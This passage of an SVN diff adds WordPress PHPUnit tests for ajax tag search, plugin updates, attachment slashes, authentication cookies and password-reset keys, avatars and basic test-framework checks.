+	 * Test as a logged out user
+	 */
+	public function test_logged_out() {
+
+		// Log out
+		wp_logout();
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = 'chat';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'ajax-tag-search' );
+	}
+
+	/**
+	 * Test with an invalid taxonomy type
+	 */
+	public function test_invalid_tax() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['tax'] = 'invalid-taxonomy';
+		$_GET['q']   = 'chat';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '0' );
+		$this->_handleAjax( 'ajax-tag-search' );
+	}
+
+	/**
+	 * Test as an unprivileged user
+	 */
+	public function test_unprivileged_user() {
+
+		// Become an administrator
+		$this->_setRole( 'subscriber' );
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = 'chat';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'ajax-tag-search' );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/UpdatePlugin.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/UpdatePlugin.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/UpdatePlugin.php	(revision 56912)
@@ -0,0 +1,169 @@
+<?php
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing Ajax handler for updating a plugin.
+ *
+ * @group ajax
+ */
+class Tests_Ajax_Update_Plugin extends WP_Ajax_UnitTestCase {
+	/**
+	 * @expectedException WPAjaxDieStopException
+	 * @expectedExceptionMessage -1
+	 */
+	public function test_missing_nonce() {
+		$this->_handleAjax( 'update-plugin' );
+	}
+
+	public function test_missing_plugin() {
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['slug']        = 'foo';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'update-plugin' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'slug'         => '',
+				'errorCode'    => 'no_plugin_specified',
+				'errorMessage' => 'No plugin specified.',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_missing_slug() {
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['plugin']      = 'foo/bar.php';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'update-plugin' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'slug'         => '',
+				'errorCode'    => 'no_plugin_specified',
+				'errorMessage' => 'No plugin specified.',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_missing_capability() {
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['plugin']      = 'foo/bar.php';
+		$_POST['slug']        = 'foo';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'update-plugin' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'update'       => 'plugin',
+				'slug'         => 'foo',
+				'errorMessage' => 'Sorry, you are not allowed to update plugins for this site.',
+				'oldVersion'   => '',
+				'newVersion'   => '',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_invalid_file() {
+		$this->_setRole( 'administrator' );
+
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['plugin']      = '../foo/bar.php';
+		$_POST['slug']        = 'foo';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'update-plugin' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'update'       => 'plugin',
+				'slug'         => 'foo',
+				'errorMessage' => 'Sorry, you are not allowed to update plugins for this site.',
+				'oldVersion'   => '',
+				'newVersion'   => '',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_update_plugin() {
+		$this->_setRole( 'administrator' );
+
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['plugin']      = 'hello.php';
+		$_POST['slug']        = 'hello-dolly';
+
+		// Make the request
+		try {
+			// Prevent wp_update_plugins() from running
+			wp_installing( true );
+			$this->_handleAjax( 'update-plugin' );
+			wp_installing( false );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'update'       => 'plugin',
+				'slug'         => 'hello-dolly',
+				'plugin'       => 'hello.php',
+				'pluginName'   => 'Hello Dolly',
+				'errorMessage' => 'Plugin update failed.',
+				'oldVersion'   => 'Version 1.7.1',
+				'newVersion'   => '',
+				'debug'        => array( 'The plugin is at the latest version.' ),
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/attachment/slashes.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/attachment/slashes.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/attachment/slashes.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * @group attachment
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Attachment_Slashes extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->author_id = self::factory()->user->create( array( 'role' => 'editor' ) );
+		wp_set_current_user( $this->author_id );
+
+		// it is important to test with both even and odd numbered slashes as
+		// kses does a strip-then-add slashes in some of its function calls
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_insert_attachment() {
+		$id = wp_insert_attachment(array(
+			'post_status' => 'publish',
+			'post_title' => $this->slash_1,
+			'post_content_filtered' => $this->slash_3,
+			'post_excerpt' => $this->slash_5,
+			'post_type' => 'post'
+		));
+		$post = get_post( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $post->post_title );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), $post->post_content_filtered );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), $post->post_excerpt );
+
+		$id = wp_insert_attachment(array(
+			'post_status' => 'publish',
+			'post_title' => $this->slash_2,
+			'post_content_filtered' => $this->slash_4,
+			'post_excerpt' => $this->slash_6,
+			'post_type' => 'post'
+		));
+		$post = get_post( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $post->post_title );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $post->post_content_filtered );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), $post->post_excerpt );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/auth.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/auth.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/auth.php	(revision 56912)
@@ -0,0 +1,365 @@
+<?php
+
+/**
+ * @group pluggable
+ * @group auth
+ */
+class Tests_Auth extends WP_UnitTestCase {
+	protected $user;
+	protected static $_user;
+	protected static $user_id;
+	protected static $wp_hasher;
+
+	/**
+	 * action hook
+	 */
+	protected $nonce_failure_hook = 'wp_verify_nonce_failed';
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$_user = $factory->user->create_and_get( array(
+			'user_login' => 'password-tests'
+		) );
+
+		self::$user_id = self::$_user->ID;
+
+		require_once( ABSPATH . WPINC . '/class-phpass.php' );
+		self::$wp_hasher = new PasswordHash( 8, true );
+	}
+
+	function setUp() {
+		parent::setUp();
+
+		$this->user = clone self::$_user;
+		wp_set_current_user( self::$user_id );
+	}
+
+	function test_auth_cookie_valid() {
+		$cookie = wp_generate_auth_cookie( self::$user_id, time() + 3600, 'auth' );
+		$this->assertEquals( self::$user_id, wp_validate_auth_cookie( $cookie, 'auth' ) );
+	}
+
+	function test_auth_cookie_invalid() {
+		// 3600 or less and +3600 may occur in wp_validate_auth_cookie(),
+		// as an ajax test may have defined DOING_AJAX, failing the test.
+
+		$cookie = wp_generate_auth_cookie( self::$user_id, time() - 7200, 'auth' );
+		$this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'auth' ), 'expired cookie' );
+
+		$cookie = wp_generate_auth_cookie( self::$user_id, time() + 3600, 'auth' );
+		$this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'logged_in' ), 'wrong auth scheme' );
+
+		$cookie = wp_generate_auth_cookie( self::$user_id, time() + 3600, 'auth' );
+		list($a, $b, $c) = explode('|', $cookie);
+		$cookie = $a . '|' . ($b + 1) . '|' . $c;
+		$this->assertEquals( false, wp_validate_auth_cookie( self::$user_id, 'auth' ), 'altered cookie' );
+	}
+
+	function test_auth_cookie_scheme() {
+		// arbitrary scheme name
+		$cookie = wp_generate_auth_cookie( self::$user_id, time() + 3600, 'foo' );
+		$this->assertEquals( self::$user_id, wp_validate_auth_cookie( $cookie, 'foo' ) );
+
+		// wrong scheme name - should fail
+		$cookie = wp_generate_auth_cookie( self::$user_id, time() + 3600, 'foo' );
+		$this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'bar' ) );
+	}
+
+	/**
+	 * @ticket 23494
+	 */
+	function test_password_trimming() {
+		$passwords_to_test = array(
+			'a password with no trailing or leading spaces',
+			'a password with trailing spaces ',
+			' a password with leading spaces',
+			' a password with trailing and leading spaces ',
+		);
+
+		foreach( $passwords_to_test as $password_to_test ) {
+			wp_set_password( $password_to_test, $this->user->ID );
+			$authed_user = wp_authenticate( $this->user->user_login, $password_to_test );
+
+			$this->assertInstanceOf( 'WP_User', $authed_user );
+			$this->assertEquals( $this->user->ID, $authed_user->ID );
+		}
+	}
+
+	/**
+	 * Test wp_hash_password trims whitespace
+	 *
+	 * This is similar to test_password_trimming but tests the "lower level"
+	 * wp_hash_password function
+	 *
+	 * @ticket 24973
+	 */
+	function test_wp_hash_password_trimming() {
+
+		$password = ' pass with leading whitespace';
+		$this->assertTrue( wp_check_password( 'pass with leading whitespace', wp_hash_password( $password ) ) );
+
+		$password = 'pass with trailing whitespace ';
+		$this->assertTrue( wp_check_password( 'pass with trailing whitespace', wp_hash_password( $password ) ) );
+
+		$password = ' pass with whitespace ';
+		$this->assertTrue( wp_check_password( 'pass with whitespace', wp_hash_password( $password ) ) );
+
+		$password = "pass with new line \n";
+		$this->assertTrue( wp_check_password( 'pass with new line', wp_hash_password( $password ) ) );
+
+		$password = "pass with vertial tab o_O\x0B";
+		$this->assertTrue( wp_check_password( 'pass with vertial tab o_O', wp_hash_password( $password ) ) );
+	}
+
+	/**
+	 * @ticket 29217
+	 */
+	function test_wp_verify_nonce_with_empty_arg() {
+		$this->assertFalse( wp_verify_nonce( '' ) );
+		$this->assertFalse( wp_verify_nonce( null ) );
+	}
+
+	/**
+	 * @ticket 29542
+	 */
+	function test_wp_verify_nonce_with_integer_arg() {
+		$this->assertFalse( wp_verify_nonce( 1 ) );
+	}
+
+	/**
+	 * @ticket 24030
+	 */
+	function test_wp_nonce_verify_failed() {
+		$nonce = substr( md5( uniqid() ), 0, 10 );
+		$count = did_action( $this->nonce_failure_hook );
+
+		wp_verify_nonce( $nonce, 'nonce_test_action' );
+
+		$this->assertEquals( ( $count + 1 ), did_action( $this->nonce_failure_hook ) );
+	}
+
+	/**
+	 * @ticket 24030
+	 */
+	function test_wp_nonce_verify_success() {
+		$nonce = wp_create_nonce( 'nonce_test_action' );
+		$count = did_action( $this->nonce_failure_hook );
+
+		wp_verify_nonce( $nonce, 'nonce_test_action' );
+
+		$this->assertEquals( $count, did_action( $this->nonce_failure_hook ) );
+	}
+
+	/**
+	 * @ticket 36361
+	 */
+	public function test_check_admin_referer_with_no_action_triggers_doing_it_wrong() {
+		$this->setExpectedIncorrectUsage( 'check_admin_referer' );
+
+		// A valid nonce needs to be set so the check doesn't die()
+		$_REQUEST['_wpnonce'] = wp_create_nonce( -1 );
+		$result = check_admin_referer();
+		$this->assertSame( 1, $result );
+
+		unset( $_REQUEST['_wpnonce'] );
+	}
+
+	public function test_check_admin_referer_with_default_action_as_string_not_doing_it_wrong() {
+		// A valid nonce needs to be set so the check doesn't die()
+		$_REQUEST['_wpnonce'] = wp_create_nonce( '-1' );
+		$result               = check_admin_referer( '-1' );
+		$this->assertSame( 1, $result );
+
+		unset( $_REQUEST['_wpnonce'] );
+	}
+
+	/**
+	 * @ticket 36361
+	 */
+	public function test_check_ajax_referer_with_no_action_triggers_doing_it_wrong() {
+		$this->setExpectedIncorrectUsage( 'check_ajax_referer' );
+
+		// A valid nonce needs to be set so the check doesn't die()
+		$_REQUEST['_wpnonce'] = wp_create_nonce( -1 );
+		$result = check_ajax_referer();
+		$this->assertSame( 1, $result );
+
+		unset( $_REQUEST['_wpnonce'] );
+	}
+
+	function test_password_length_limit() {
+		$limit = str_repeat( 'a', 4096 );
+
+		wp_set_password( $limit, self::$user_id );
+		// phpass hashed password
+		$this->assertStringStartsWith( '$P$', $this->user->data->user_pass );
+
+		$user = wp_authenticate( $this->user->user_login, 'aaaaaaaa' );
+		// Wrong Password
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( $this->user->user_login, $limit );
+		$this->assertInstanceOf( 'WP_User', $user );
+		$this->assertEquals( self::$user_id, $user->ID );
+
+		// one char too many
+		$user = wp_authenticate( $this->user->user_login, $limit . 'a' );
+		// Wrong Password
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		wp_set_password( $limit . 'a', self::$user_id );
+		$user = get_user_by( 'id', self::$user_id );
+		// Password broken by setting it to be too long.
+		$this->assertEquals( '*', $user->data->user_pass );
+
+		$user = wp_authenticate( $this->user->user_login, '*' );
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( $this->user->user_login, '*0' );
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( $this->user->user_login, '*1' );
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( $this->user->user_login, 'aaaaaaaa' );
+		// Wrong Password
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( $this->user->user_login, $limit );
+		// Wrong Password
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( $this->user->user_login, $limit . 'a' );
+		// Password broken by setting it to be too long.
+		$this->assertInstanceOf( 'WP_Error', $user );
+	}
+
+	/**
+	 * @ticket 32429
+	 */
+	function test_user_activation_key_is_checked() {
+		global $wpdb;
+
+		$key  = wp_generate_password( 20, false );
+		$wpdb->update( $wpdb->users, array(
+			'user_activation_key' => strtotime( '-1 hour' ) . ':' . self::$wp_hasher->HashPassword( $key ),
+		), array(
+			'ID' => $this->user->ID,
+		) );
+
+		// A valid key should be accepted
+		$check = check_password_reset_key( $key, $this->user->user_login );
+		$this->assertNotWPError( $check );
+		$this->assertInstanceOf( 'WP_User', $check );
+		$this->assertSame( $this->user->ID, $check->ID );
+
+		// An invalid key should be rejected
+		$check = check_password_reset_key( 'key', $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+
+		// An empty key should be rejected
+		$check = check_password_reset_key( '', $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+
+		// A truncated key should be rejected
+		$partial = substr( $key, 0, 10 );
+		$check = check_password_reset_key( $partial, $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+	}
+
+	/**
+	 * @ticket 32429
+	 */
+	function test_expired_user_activation_key_is_rejected() {
+		global $wpdb;
+
+		$key  = wp_generate_password( 20, false );
+		$wpdb->update( $wpdb->users, array(
+			'user_activation_key' => strtotime( '-48 hours' ) . ':' . self::$wp_hasher->HashPassword( $key ),
+		), array(
+			'ID' => $this->user->ID,
+		) );
+
+		// An expired but otherwise valid key should be rejected
+		$check = check_password_reset_key( $key, $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+	}
+
+	/**
+	 * @ticket 32429
+	 */
+	function test_empty_user_activation_key_fails_key_check() {
+		// An empty user_activation_key should not allow any key to be accepted
+		$check = check_password_reset_key( 'key', $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+
+		// An empty user_activation_key should not allow an empty key to be accepted
+		$check = check_password_reset_key( '', $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+	}
+
+	/**
+	 * @ticket 32429
+	 */
+	function test_legacy_user_activation_key_is_rejected() {
+		global $wpdb;
+
+		// A legacy user_activation_key is one without the `time()` prefix introduced in WordPress 4.3.
+
+		$key  = wp_generate_password( 20, false );
+		$wpdb->update( $wpdb->users, array(
+			'user_activation_key' => self::$wp_hasher->HashPassword( $key ),
+		), array(
+			'ID' => $this->user->ID,
+		) );
+
+		// A legacy user_activation_key should not be accepted
+		$check = check_password_reset_key( $key, $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+
+		// An empty key with a legacy user_activation_key should be rejected
+		$check = check_password_reset_key( '', $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+	}
+
+	/**
+	 * @ticket 32429
+	 * @ticket 24783
+	 */
+	function test_plaintext_user_activation_key_is_rejected() {
+		global $wpdb;
+
+		// A plaintext user_activation_key is one stored before hashing was introduced in WordPress 3.7.
+
+		$key  = wp_generate_password( 20, false );
+		$wpdb->update( $wpdb->users, array(
+			'user_activation_key' => $key,
+		), array(
+			'ID' => $this->user->ID,
+		) );
+
+		// A plaintext user_activation_key should not allow an otherwise valid key to be accepted
+		$check = check_password_reset_key( $key, $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+
+		// A plaintext user_activation_key should not allow an empty key to be accepted
+		$check = check_password_reset_key( '', $this->user->user_login );
+		$this->assertInstanceOf( 'WP_Error', $check );
+	}
+
+	/**
+	 * Ensure users can log in using both their username and their email address.
+	 *
+	 * @ticket 9568
+	 */
+	function test_log_in_using_email() {
+		$user_args = array(
+			'user_login' => 'johndoe',
+			'user_email' => 'mail@example.com',
+			'user_pass'  => 'password',
+		);
+		$this->factory->user->create( $user_args );
+
+		$this->assertInstanceOf( 'WP_User', wp_authenticate( $user_args['user_email'], $user_args['user_pass'] ) );
+		$this->assertInstanceOf( 'WP_User', wp_authenticate( $user_args['user_login'], $user_args['user_pass'] ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/avatar.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/avatar.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/avatar.php	(revision 56912)
@@ -0,0 +1,232 @@
+<?php
+
+/**
+ * Test avatar related functions
+ *
+ * @group avatar
+ */
+class Tests_Avatar extends WP_UnitTestCase {
+	/**
+	 * @ticket 21195
+	 */
+	public function test_get_avatar_url_gravatar_url() {
+		$url = get_avatar_url( 1 );
+		$this->assertEquals( preg_match( '|^http?://[0-9]+.gravatar.com/avatar/[0-9a-f]{32}\?|', $url ), 1 );
+	}
+
+	/**
+	 * @ticket 21195
+	 */
+	public function test_get_avatar_url_size() {
+		$url = get_avatar_url( 1 );
+		$this->assertEquals( preg_match( '|\?.*s=96|', $url ), 1 );
+
+		$args = array( 'size' => 100 );
+		$url = get_avatar_url( 1, $args );
+		$this->assertEquals( preg_match( '|\?.*s=100|', $url ), 1 );
+	}
+
+	/**
+	 * @ticket 21195
+	 */
+	public function test_get_avatar_url_default() {
+		$url = get_avatar_url( 1 );
+		$this->assertEquals( preg_match( '|\?.*d=mm|', $url ), 1 );
+
+		$args = array( 'default' => 'wavatar' );
+		$url = get_avatar_url( 1, $args );
+		$this->assertEquals( preg_match( '|\?.*d=wavatar|', $url ), 1 );
+
+		$this->assertEquals( preg_match( '|\?.*f=y|', $url ), 0 );
+		$args = array( 'force_default' => true );
+		$url = get_avatar_url( 1, $args );
+		$this->assertEquals( preg_match( '|\?.*f=y|', $url ), 1 );
+	}
+
+	/**
+	 * @ticket 21195
+	 */
+	public function test_get_avatar_url_rating() {
+		$url = get_avatar_url( 1 );
+		$this->assertEquals( preg_match( '|\?.*r=g|', $url ), 1 );
+
+		$args = array( 'rating' => 'M' );
+		$url = get_avatar_url( 1, $args );
+		$this->assertEquals( preg_match( '|\?.*r=m|', $url ), 1 );
+	}
+
+	/**
+	 * @ticket 21195
+	 */
+	public function test_get_avatar_url_scheme() {
+		$url = get_avatar_url( 1 );
+		$this->assertEquals( preg_match( '|^http://|', $url ), 1 );
+
+		$args = array( 'scheme' => 'https' );
+		$url = get_avatar_url( 1, $args );
+		$this->assertEquals( preg_match( '|^https://|', $url ), 1 );
+
+		$args = array( 'scheme' => 'lolcat' );
+		$url = get_avatar_url( 1, $args );
+		$this->assertEquals( preg_match( '|^lolcat://|', $url ), 0 );
+	}
+
+	/**
+	 * @ticket 21195
+	 */
+	public function test_get_avatar_url_user() {
+		$url = get_avatar_url( 1 );
+
+		$url2 = get_avatar_url( WP_TESTS_EMAIL );
+		$this->assertEquals( $url, $url2 );
+
+		$url2 = get_avatar_url( md5( WP_TESTS_EMAIL ) . '@md5.gravatar.com' );
+		$this->assertEquals( $url, $url2 );
+
+		$user = get_user_by( 'id', 1 );
+		$url2 = get_avatar_url( $user );
+		$this->assertEquals( $url, $url2 );
+
+		$post_id = self::factory()->post->create( array( 'post_author' => 1 ) );
+		$post = get_post( $post_id );
+		$url2 = get_avatar_url( $post );
+		$this->assertEquals( $url, $url2 );
+
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => $post_id, 'user_id' => 1 ) );
+		$comment = get_comment( $comment_id );
+		$url2 = get_avatar_url( $comment );
+		$this->assertEquals( $url, $url2 );
+	}
+
+	protected $fakeURL;
+	/**
+	 * @ticket 21195
+	 */
+	public function test_pre_get_avatar_url_filter() {
+		$this->fakeURL = 'haha wat';
+
+		add_filter( 'pre_get_avatar_data', array( $this, 'pre_get_avatar_url_filter' ), 10, 1 );
+		$url = get_avatar_url( 1 );
+		remove_filter( 'pre_get_avatar_data', array( $this, 'pre_get_avatar_url_filter' ), 10 );
+
+		$this->assertEquals( $url, $this->fakeURL );
+	}
+	public function pre_get_avatar_url_filter( $args ) {
+		$args['url'] = $this->fakeURL;
+		return $args;
+	}
+
+	/**
+	 * @ticket 21195
+	 */
+	public function test_get_avatar_url_filter() {
+		$this->fakeURL = 'omg lol';
+
+		add_filter( 'get_avatar_url', array( $this, 'get_avatar_url_filter' ), 10, 1 );
+		$url = get_avatar_url( 1 );
+		remove_filter( 'get_avatar_url', array( $this, 'get_avatar_url_filter' ), 10 );
+
+		$this->assertEquals( $url, $this->fakeURL );
+	}
+	public function get_avatar_url_filter( $url ) {
+		return $this->fakeURL;
+	}
+
+	/**
+	 * @ticket 21195
+	 */
+	public function test_get_avatar_comment_types_filter() {
+		$url = get_avatar_url( 1 );
+
+		$post_id = self::factory()->post->create( array( 'post_author' => 1 ) );
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => $post_id, 'user_id' => 1, 'comment_type' => 'pingback' ) );
+		$comment = get_comment( $comment_id );
+
+		$url2 = get_avatar_url( $comment );
+		$this->assertFalse( $url2 );
+
+		add_filter( 'get_avatar_comment_types', array( $this, 'get_avatar_comment_types_filter' ), 10, 1 );
+		$url2 = get_avatar_url( $comment );
+		remove_filter( 'get_avatar_comment_types', array( $this, 'get_avatar_comment_types_filter' ), 10 );
+
+		$this->assertEquals( $url, $url2 );
+	}
+	public function get_avatar_comment_types_filter( $comment_types ) {
+		$comment_types[] = 'pingback';
+		return $comment_types;
+	}
+
+	public function test_get_avatar() {
+		$img = get_avatar( 1 );
+		$this->assertEquals( preg_match( "|^<img alt='[^']*' src='[^']*' srcset='[^']*' class='[^']*' height='[^']*' width='[^']*' />$|", $img ), 1 );
+	}
+
+	public function test_get_avatar_size() {
+		$size = '100';
+		$img = get_avatar( 1, $size );
+		$this->assertEquals( preg_match( "|^<img .*height='$size'.*width='$size'|", $img ), 1 );
+	}
+
+	public function test_get_avatar_alt() {
+		$alt = 'Mr Hyde';
+		$img = get_avatar( 1, 96, '', $alt );
+		$this->assertEquals( preg_match( "|^<img alt='$alt'|", $img ), 1 );
+	}
+
+	public function test_get_avatar_class() {
+		$class = 'first';
+		$img = get_avatar( 1, 96, '', '', array( 'class' => $class ) );
+		$this->assertEquals( preg_match( "|^<img .*class='[^']*{$class}[^']*'|", $img ), 1 );
+	}
+
+	public function test_get_avatar_default_class() {
+		$img = get_avatar( 1, 96, '', '', array( 'force_default' => true ) );
+		$this->assertEquals( preg_match( "|^<img .*class='[^']*avatar-default[^']*'|", $img ), 1 );
+	}
+
+	public function test_get_avatar_force_display() {
+		$old = get_option( 'show_avatars' );
+		update_option( 'show_avatars', false );
+
+		$this->assertFalse( get_avatar( 1 ) );
+
+		$this->assertNotEmpty( get_avatar( 1, 96, '', '', array( 'force_display' => true ) ) );
+
+		update_option( 'show_avatars', $old );
+	}
+
+
+	protected $fakeIMG;
+	/**
+	 * @ticket 21195
+	 */
+	public function test_pre_get_avatar_filter() {
+		$this->fakeIMG = 'YOU TOO?!';
+
+		add_filter( 'pre_get_avatar', array( $this, 'pre_get_avatar_filter' ), 10, 1 );
+		$img = get_avatar( 1 );
+		remove_filter( 'pre_get_avatar', array( $this, 'pre_get_avatar_filter' ), 10 );
+
+		$this->assertEquals( $img, $this->fakeIMG );
+	}
+	public function pre_get_avatar_filter( $img ) {
+		return $this->fakeIMG;
+	}
+
+	/**
+	 * @ticket 21195
+	 */
+	public function test_get_avatar_filter() {
+		$this->fakeURL = 'YA RLY';
+
+		add_filter( 'get_avatar', array( $this, 'get_avatar_filter' ), 10, 1 );
+		$img = get_avatar( 1 );
+		remove_filter( 'get_avatar', array( $this, 'get_avatar_filter' ), 10 );
+
+		$this->assertEquals( $img, $this->fakeURL );
+	}
+	public function get_avatar_filter( $img ) {
+		return $this->fakeURL;
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/basic.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/basic.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/basic.php	(revision 56912)
@@ -0,0 +1,176 @@
+<?php
+
+/**
+ * just make sure the test framework is working
+ *
+ * @group testsuite
+ */
+class Tests_Basic extends WP_UnitTestCase {
+
+	function test_license() {
+		// This test is designed to only run on trunk/master
+		$this->skipOnAutomatedBranches();
+
+		$license = file_get_contents( ABSPATH . 'license.txt' );
+		preg_match( '#Copyright 2011-(\d+) by the contributors#', $license, $matches );
+		$this_year = date( 'Y' );
+		$this->assertEquals( $this_year, trim( $matches[1] ), "license.txt's year needs to be updated to $this_year." );
+	}
+
+	function test_package_json() {
+		$package_json = file_get_contents( dirname( ABSPATH ) . '/package.json' );
+		$package_json = json_decode( $package_json, true );
+		list( $version ) = explode( '-', $GLOBALS['wp_version'] );
+		// package.json uses x.y.z, so fill cleaned $wp_version for .0 releases
+		if ( 1 == substr_count( $version, '.' ) ) {
+			$version .= '.0';
+		}
+		$this->assertEquals( $version, $package_json['version'], "package.json's version needs to be updated to $version." );
+		return $package_json;
+	}
+
+	/**
+	 * @depends test_package_json
+	 */
+	function test_package_json_node_engine( $package_json ) {
+		$this->assertArrayHasKey( 'engines', $package_json );
+		$this->assertArrayHasKey( 'node', $package_json['engines'] );
+ 	}
+
+	// two tests for a lame bug in PHPUnit that broke the $GLOBALS reference
+	function test_globals() {
+		global $test_foo;
+		$test_foo = array('foo', 'bar', 'baz');
+
+		function test_globals_foo() {
+			unset($GLOBALS['test_foo'][1]);
+		}
+
+		test_globals_foo();
+
+		$this->assertEquals($test_foo, array(0=>'foo', 2=>'baz'));
+		$this->assertEquals($test_foo, $GLOBALS['test_foo']);
+	}
+
+	function test_globals_bar() {
+		global $test_bar;
+		$test_bar = array('a', 'b', 'c');
+		$this->assertEquals($test_bar, $GLOBALS['test_bar']);
+	}
+
+	// test some helper utility functions
+
+	function test_strip_ws() {
+		$this->assertEquals('', strip_ws(''));
+		$this->assertEquals('foo', strip_ws('foo'));
+		$this->assertEquals('', strip_ws("\r\n\t  \n\r\t"));
+
+		$in  = "asdf\n";
+		$in .= "asdf asdf\n";
+		$in .= "asdf     asdf\n";
+		$in .= "\tasdf\n";
+		$in .= "\tasdf\t\n";
+		$in .= "\t\tasdf\n";
+		$in .= "foo bar\n\r\n";
+		$in .= "foo\n";
+
+		$expected  = "asdf\n";
+		$expected .= "asdf asdf\n";
+		$expected .= "asdf     asdf\n";
+		$expected .= "asdf\n";
+		$expected .= "asdf\n";
+		$expected .= "asdf\n";
+		$expected .= "foo bar\n";
+		$expected .= "foo";
+
+		$this->assertEquals($expected, strip_ws($in));
+
+	}
+
+	function test_mask_input_value() {
+		$in = <<<EOF
+<h2>Assign Authors</h2>
